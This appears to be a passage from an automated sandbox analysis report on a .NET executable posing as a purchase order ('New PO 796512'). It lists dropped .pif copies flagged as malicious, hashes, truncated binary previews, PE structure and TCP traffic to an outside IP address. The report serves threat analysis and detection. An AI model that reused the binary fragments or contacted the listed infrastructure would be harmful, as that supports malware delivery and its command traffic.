                                                                                          Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"Microsoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c5619

                                                                                          C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\New PO 796512.pif.log

                                                                                          Download File
                                                                                          Process:C:\Users\user\Documents\New PO 796512.pif
                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                          Category:dropped
                                                                                          Size (bytes):1613
                                                                                          Entropy (8bit):5.337581307589483
                                                                                          Encrypted:false
                                                                                          SSDEEP:48:MIHK5HKH1qHiYHKh3ogLHitHo6hAHKze0HqHxvpHA:Pq5qHwCYqh3ogLCtI6eqzxKRhg
                                                                                          MD5:5996E52A7168535FEE47DB16A7AEE9C4
                                                                                          SHA1:96F7E9B17B87EEFD42AE22F6BCB1494AC48E7AEF
                                                                                          SHA-256:7594BEF93AE53731425E581A09C8F1A9A956A6DEFE4A3F4A3D4FAB342B922119
                                                                                          SHA-512:28DD61F787B9D4167515BD0619E217788C565B31C55A78751F789DCBB3354B234E51F91F7F3006388F8DAB87BD8AE6B4573ACB7A30B728699C96FAEEA64A1EF5
                                                                                          Malicious:false
                                                                                          Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"Microsoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c5619

                                                                                          C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\New PO 796512.pif.pif.log

                                                                                          Download File
                                                                                          Process:C:\Users\user\Documents\New PO 796512.pif.pif
                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                          Category:dropped
                                                                                          Size (bytes):1613
                                                                                          Entropy (8bit):5.337581307589483
                                                                                          Encrypted:false
                                                                                          SSDEEP:48:MIHK5HKH1qHiYHKh3ogLHitHo6hAHKze0HqHxvpHA:Pq5qHwCYqh3ogLCtI6eqzxKRhg
                                                                                          MD5:5996E52A7168535FEE47DB16A7AEE9C4
                                                                                          SHA1:96F7E9B17B87EEFD42AE22F6BCB1494AC48E7AEF
                                                                                          SHA-256:7594BEF93AE53731425E581A09C8F1A9A956A6DEFE4A3F4A3D4FAB342B922119
                                                                                          SHA-512:28DD61F787B9D4167515BD0619E217788C565B31C55A78751F789DCBB3354B234E51F91F7F3006388F8DAB87BD8AE6B4573ACB7A30B728699C96FAEEA64A1EF5
                                                                                          Malicious:false
                                                                                          Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"Microsoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c5619

                                                                                          C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\New PO 796512.pif.pif.pif.log

                                                                                          Download File
                                                                                          Process:C:\Users\user\Documents\New PO 796512.pif.pif.pif
                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                          Category:dropped
                                                                                          Size (bytes):1613
                                                                                          Entropy (8bit):5.337581307589483
                                                                                          Encrypted:false
                                                                                          SSDEEP:48:MIHK5HKH1qHiYHKh3ogLHitHo6hAHKze0HqHxvpHA:Pq5qHwCYqh3ogLCtI6eqzxKRhg
                                                                                          MD5:5996E52A7168535FEE47DB16A7AEE9C4
                                                                                          SHA1:96F7E9B17B87EEFD42AE22F6BCB1494AC48E7AEF
                                                                                          SHA-256:7594BEF93AE53731425E581A09C8F1A9A956A6DEFE4A3F4A3D4FAB342B922119
                                                                                          SHA-512:28DD61F787B9D4167515BD0619E217788C565B31C55A78751F789DCBB3354B234E51F91F7F3006388F8DAB87BD8AE6B4573ACB7A30B728699C96FAEEA64A1EF5
                                                                                          Malicious:false
                                                                                          Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"Microsoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c5619

                                                                                          C:\Users\user\Documents\New PO 796512.pif

                                                                                          Download File
                                                                                          Process:C:\Windows\SysWOW64\cmd.exe
                                                                                          File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                          Category:dropped
                                                                                          Size (bytes):22016
                                                                                          Entropy (8bit):6.511002624681914
                                                                                          Encrypted:false
                                                                                          SSDEEP:384:cs+2GqOOyQuluvnDS3d2dD03jVsV8ftnokwRwAoDNwAUPNtdI6+eQAozrBtHzkLA:cs+2G8ZQ+SXjWooPjBBAtHzae6eX
                                                                                          MD5:223B42ADC2E6EEB342664FFA633C3A6A
                                                                                          SHA1:00612D9CE02CDE93CD73EEBCBEE0DEECE4DA3F8F
                                                                                          SHA-256:68C3605100B20D0E04A069565F5CE7F6F55B7546F52DCF22328E3A321637E361
                                                                                          SHA-512:8C2E1CA20137AA4871509DBF17D27EEED4AE13433F95B63EDA48570B2158317D3D72EDDA78F7B6C43BBC4F39C5BF84D83988C6AFD6A5E6F1BDCDA331F82C6847
                                                                                          Malicious:true
                                                                                          Antivirus:
                                                                                          • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                          • Antivirus: ReversingLabs, Detection: 18%
                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....x................0..6...........U... ...`....@.. ....................................@..................................T..O....`...............................T..8............................................ ............... ..H............text....5... ...6.................. ..`.rsrc........`.......8..............@..@.reloc...............T..............@..B.................T......H........)...............D..X...........................................&.(......*...0..9........~.........,".r...p.....(....o....s............~.....+..*....0...........~.....+..*".......*.0...........~.....+..*".(.....*Vs....(....t.........*....s....}......}.....(.......(.......}....*...0..0..........+".{....o.....{......(....o....&..X.......-.*.0..+.........,..{.......+....,...{....o........( ....*..0............s!...}.....s"...}.....s#...}.....s#...}.....s$...}.....s$...}.

                                                                                          C:\Users\user\Documents\New PO 796512.pif.pif

                                                                                          Download File
                                                                                          Process:C:\Windows\SysWOW64\cmd.exe
                                                                                          File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                          Category:dropped
                                                                                          Size (bytes):22016
                                                                                          Entropy (8bit):6.511002624681914
                                                                                          Encrypted:false
                                                                                          SSDEEP:384:cs+2GqOOyQuluvnDS3d2dD03jVsV8ftnokwRwAoDNwAUPNtdI6+eQAozrBtHzkLA:cs+2G8ZQ+SXjWooPjBBAtHzae6eX
                                                                                          MD5:223B42ADC2E6EEB342664FFA633C3A6A
                                                                                          SHA1:00612D9CE02CDE93CD73EEBCBEE0DEECE4DA3F8F
                                                                                          SHA-256:68C3605100B20D0E04A069565F5CE7F6F55B7546F52DCF22328E3A321637E361
                                                                                          SHA-512:8C2E1CA20137AA4871509DBF17D27EEED4AE13433F95B63EDA48570B2158317D3D72EDDA78F7B6C43BBC4F39C5BF84D83988C6AFD6A5E6F1BDCDA331F82C6847
                                                                                          Malicious:true
                                                                                          Antivirus:
                                                                                          • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                          • Antivirus: ReversingLabs, Detection: 18%
                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....x................0..6...........U... ...`....@.. ....................................@..................................T..O....`...............................T..8............................................ ............... ..H............text....5... ...6.................. ..`.rsrc........`.......8..............@..@.reloc...............T..............@..B.................T......H........)...............D..X...........................................&.(......*...0..9........~.........,".r...p.....(....o....s............~.....+..*....0...........~.....+..*".......*.0...........~.....+..*".(.....*Vs....(....t.........*....s....}......}.....(.......(.......}....*...0..0..........+".{....o.....{......(....o....&..X.......-.*.0..+.........,..{.......+....,...{....o........( ....*..0............s!...}.....s"...}.....s#...}.....s#...}.....s$...}.....s$...}.

                                                                                          C:\Users\user\Documents\New PO 796512.pif.pif.pif

                                                                                          Download File
                                                                                          Process:C:\Windows\SysWOW64\cmd.exe
                                                                                          File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                          Category:dropped
                                                                                          Size (bytes):22016
                                                                                          Entropy (8bit):6.511002624681914
                                                                                          Encrypted:false
                                                                                          SSDEEP:384:cs+2GqOOyQuluvnDS3d2dD03jVsV8ftnokwRwAoDNwAUPNtdI6+eQAozrBtHzkLA:cs+2G8ZQ+SXjWooPjBBAtHzae6eX
                                                                                          MD5:223B42ADC2E6EEB342664FFA633C3A6A
                                                                                          SHA1:00612D9CE02CDE93CD73EEBCBEE0DEECE4DA3F8F
                                                                                          SHA-256:68C3605100B20D0E04A069565F5CE7F6F55B7546F52DCF22328E3A321637E361
                                                                                          SHA-512:8C2E1CA20137AA4871509DBF17D27EEED4AE13433F95B63EDA48570B2158317D3D72EDDA78F7B6C43BBC4F39C5BF84D83988C6AFD6A5E6F1BDCDA331F82C6847
                                                                                          Malicious:true
                                                                                          Antivirus:
                                                                                          • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                          • Antivirus: ReversingLabs, Detection: 18%
                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....x................0..6...........U... ...`....@.. ....................................@..................................T..O....`...............................T..8............................................ ............... ..H............text....5... ...6.................. ..`.rsrc........`.......8..............@..@.reloc...............T..............@..B.................T......H........)...............D..X...........................................&.(......*...0..9........~.........,".r...p.....(....o....s............~.....+..*....0...........~.....+..*".......*.0...........~.....+..*".(.....*Vs....(....t.........*....s....}......}.....(.......(.......}....*...0..0..........+".{....o.....{......(....o....&..X.......-.*.0..+.........,..{.......+....,...{....o........( ....*..0............s!...}.....s"...}.....s#...}.....s#...}.....s$...}.....s$...}.

                                                                                          C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif

                                                                                          Download File
                                                                                          Process:C:\Windows\SysWOW64\cmd.exe
                                                                                          File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                          Category:dropped
                                                                                          Size (bytes):22016
                                                                                          Entropy (8bit):6.511002624681914
                                                                                          Encrypted:false
                                                                                          SSDEEP:384:cs+2GqOOyQuluvnDS3d2dD03jVsV8ftnokwRwAoDNwAUPNtdI6+eQAozrBtHzkLA:cs+2G8ZQ+SXjWooPjBBAtHzae6eX
                                                                                          MD5:223B42ADC2E6EEB342664FFA633C3A6A
                                                                                          SHA1:00612D9CE02CDE93CD73EEBCBEE0DEECE4DA3F8F
                                                                                          SHA-256:68C3605100B20D0E04A069565F5CE7F6F55B7546F52DCF22328E3A321637E361
                                                                                          SHA-512:8C2E1CA20137AA4871509DBF17D27EEED4AE13433F95B63EDA48570B2158317D3D72EDDA78F7B6C43BBC4F39C5BF84D83988C6AFD6A5E6F1BDCDA331F82C6847
                                                                                          Malicious:true
                                                                                          Antivirus:
                                                                                          • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                          • Antivirus: ReversingLabs, Detection: 18%
                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....x................0..6...........U... ...`....@.. ....................................@..................................T..O....`...............................T..8............................................ ............... ..H............text....5... ...6.................. ..`.rsrc........`.......8..............@..@.reloc...............T..............@..B.................T......H........)...............D..X...........................................&.(......*...0..9........~.........,".r...p.....(....o....s............~.....+..*....0...........~.....+..*".......*.0...........~.....+..*".(.....*Vs....(....t.........*....s....}......}.....(.......(.......}....*...0..0..........+".{....o.....{......(....o....&..X.......-.*.0..+.........,..{.......+....,...{....o........( ....*..0............s!...}.....s"...}.....s#...}.....s#...}.....s$...}.....s$...}.

                                                                                          C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif:Zone.Identifier

                                                                                          Download File
                                                                                          Process:C:\Windows\SysWOW64\cmd.exe
                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                          Category:modified
                                                                                          Size (bytes):26
                                                                                          Entropy (8bit):3.95006375643621
                                                                                          Encrypted:false
                                                                                          SSDEEP:3:ggPYV:rPYV
                                                                                          MD5:187F488E27DB4AF347237FE461A079AD
                                                                                          SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                          SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                          SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                          Malicious:true
                                                                                          Preview:[ZoneTransfer]....ZoneId=0

                                                                                          C:\Users\user\Documents\New PO 796512.pif.pif.pif:Zone.Identifier

                                                                                          Download File
                                                                                          Process:C:\Windows\SysWOW64\cmd.exe
                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                          Category:modified
                                                                                          Size (bytes):26
                                                                                          Entropy (8bit):3.95006375643621
                                                                                          Encrypted:false
                                                                                          SSDEEP:3:ggPYV:rPYV
                                                                                          MD5:187F488E27DB4AF347237FE461A079AD
                                                                                          SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                          SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                          SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                          Malicious:true
                                                                                          Preview:[ZoneTransfer]....ZoneId=0

                                                                                          C:\Users\user\Documents\New PO 796512.pif.pif:Zone.Identifier

                                                                                          Download File
                                                                                          Process:C:\Windows\SysWOW64\cmd.exe
                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                          Category:modified
                                                                                          Size (bytes):26
                                                                                          Entropy (8bit):3.95006375643621
                                                                                          Encrypted:false
                                                                                          SSDEEP:3:ggPYV:rPYV
                                                                                          MD5:187F488E27DB4AF347237FE461A079AD
                                                                                          SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                          SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                          SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                          Malicious:true
                                                                                          Preview:[ZoneTransfer]....ZoneId=0

                                                                                          C:\Users\user\Documents\New PO 796512.pif:Zone.Identifier

                                                                                          Download File
                                                                                          Process:C:\Windows\SysWOW64\cmd.exe
                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                          Category:modified
                                                                                          Size (bytes):26
                                                                                          Entropy (8bit):3.95006375643621
                                                                                          Encrypted:false
                                                                                          SSDEEP:3:ggPYV:rPYV
                                                                                          MD5:187F488E27DB4AF347237FE461A079AD
                                                                                          SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                          SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                          SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                          Malicious:true
                                                                                          Preview:[ZoneTransfer]....ZoneId=0

                                                                                          Static File Info

                                                                                          General

                                                                                          File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                          Entropy (8bit):6.511002624681914
                                                                                          TrID:
                                                                                          • Win32 Executable (generic) Net Framework (10011505/4) 49.83%
                                                                                          • Win32 Executable (generic) a (10002005/4) 49.78%
                                                                                          • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                                                                          • Generic Win/DOS Executable (2004/3) 0.01%
                                                                                          • DOS Executable Generic (2002/1) 0.01%
                                                                                          File name:New PO 796512.exe
                                                                                          File size:22'016 bytes
                                                                                          MD5:223b42adc2e6eeb342664ffa633c3a6a
                                                                                          SHA1:00612d9ce02cde93cd73eebcbee0deece4da3f8f
                                                                                          SHA256:68c3605100b20d0e04a069565f5ce7f6f55b7546f52dcf22328e3a321637e361
                                                                                          SHA512:8c2e1ca20137aa4871509dbf17d27eeed4ae13433f95b63eda48570b2158317d3d72edda78f7b6c43bbc4f39c5bf84d83988c6afd6a5e6f1bdcda331f82c6847
                                                                                          SSDEEP:384:cs+2GqOOyQuluvnDS3d2dD03jVsV8ftnokwRwAoDNwAUPNtdI6+eQAozrBtHzkLA:cs+2G8ZQ+SXjWooPjBBAtHzae6eX
                                                                                          TLSH:8FA25C0173989736CDFB0BB66CA3518017B6FA9BA861DF4D5DC8208E1D67B0407A3B67
                                                                                          File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....x................0..6...........U... ...`....@.. ....................................@................................

                                                                                          File Icon

                                                                                          Icon Hash:8b1964cccc4d0f4c

                                                                                          Static PE Info

                                                                                          General

                                                                                          Entrypoint:0x405506
                                                                                          Entrypoint Section:.text
                                                                                          Digitally signed:false
                                                                                          Imagebase:0x400000
                                                                                          Subsystem:windows gui
                                                                                          Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                                          DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                                          Time Stamp:0xE78078BF [Wed Jan 28 04:46:55 2093 UTC]
                                                                                          TLS Callbacks:
                                                                                          CLR (.Net) Version:
                                                                                          OS Version Major:4
                                                                                          OS Version Minor:0
                                                                                          File Version Major:4
                                                                                          File Version Minor:0
                                                                                          Subsystem Version Major:4
                                                                                          Subsystem Version Minor:0
                                                                                          Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                                                          Entrypoint Preview

                                                                                          Instruction
                                                                                          jmp dword ptr [00402000h]
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al

                                                                                          Data Directories

                                                                                          NameVirtual AddressVirtual Size Is in Section
                                                                                          IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_IMPORT0x54b20x4f.text
                                                                                          IMAGE_DIRECTORY_ENTRY_RESOURCE0x60000x1ad0.rsrc
                                                                                          IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_BASERELOC0x80000xc.reloc
                                                                                          IMAGE_DIRECTORY_ENTRY_DEBUG0x54100x38.text
                                                                                          IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                                                          IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                                                          IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                          Sections

                                                                                          NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                          .text0x20000x350c0x360023b2fee5a62a9710cc88e7dece83fef9False0.5771846064814815data6.267175678555305IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                          .rsrc0x60000x1ad00x1c001943cfb46a0787fc5ea70ac21b8e8b3eFalse0.8158482142857143data7.162263976749882IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                          .reloc0x80000xc0x200f1652bfdc942d1e91b90aa8709bfa6f7False0.044921875data0.08153941234324169IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                          Resources

                                                                                          NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                          RT_ICON0x61000x1476PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced0.968881252386407
                                                                                          RT_GROUP_ICON0x75880x14data1.05
                                                                                          RT_VERSION0x75ac0x324data0.4291044776119403
                                                                                          RT_MANIFEST0x78e00x1eaXML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators0.5489795918367347

                                                                                          Imports

                                                                                          DLLImport
                                                                                          mscoree.dll_CorExeMain

                                                                                          Network Behavior

                                                                                          Network Port Distribution

                                                                                          TCP Packets

                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                          Nov 21, 2024 16:31:05.132308006 CET49699443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:31:05.132339001 CET4434969966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:31:05.132410049 CET49699443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:31:05.141976118 CET49699443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:31:05.141985893 CET4434969966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:31:06.847322941 CET4434969966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:31:06.847505093 CET49699443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:31:06.872912884 CET49699443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:31:06.872929096 CET4434969966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:31:06.873272896 CET4434969966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:31:06.921566963 CET49699443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:31:07.069093943 CET49699443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:31:07.111335039 CET4434969966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:31:07.469331026 CET4434969966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:31:07.518738031 CET49699443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:31:07.541018009 CET4434969966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:31:07.541032076 CET4434969966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:31:07.541055918 CET4434969966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:31:07.541065931 CET4434969966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:31:07.541080952 CET4434969966.29.153.238192.168.2.7
                                                                                          Nov 21, 2024 16:31:07.541094065 CET49699443192.168.2.766.29.153.238
                                                                                          Nov 21, 2024 16:31:07.541106939 CET4434969966.29.153.238192.168.2.7
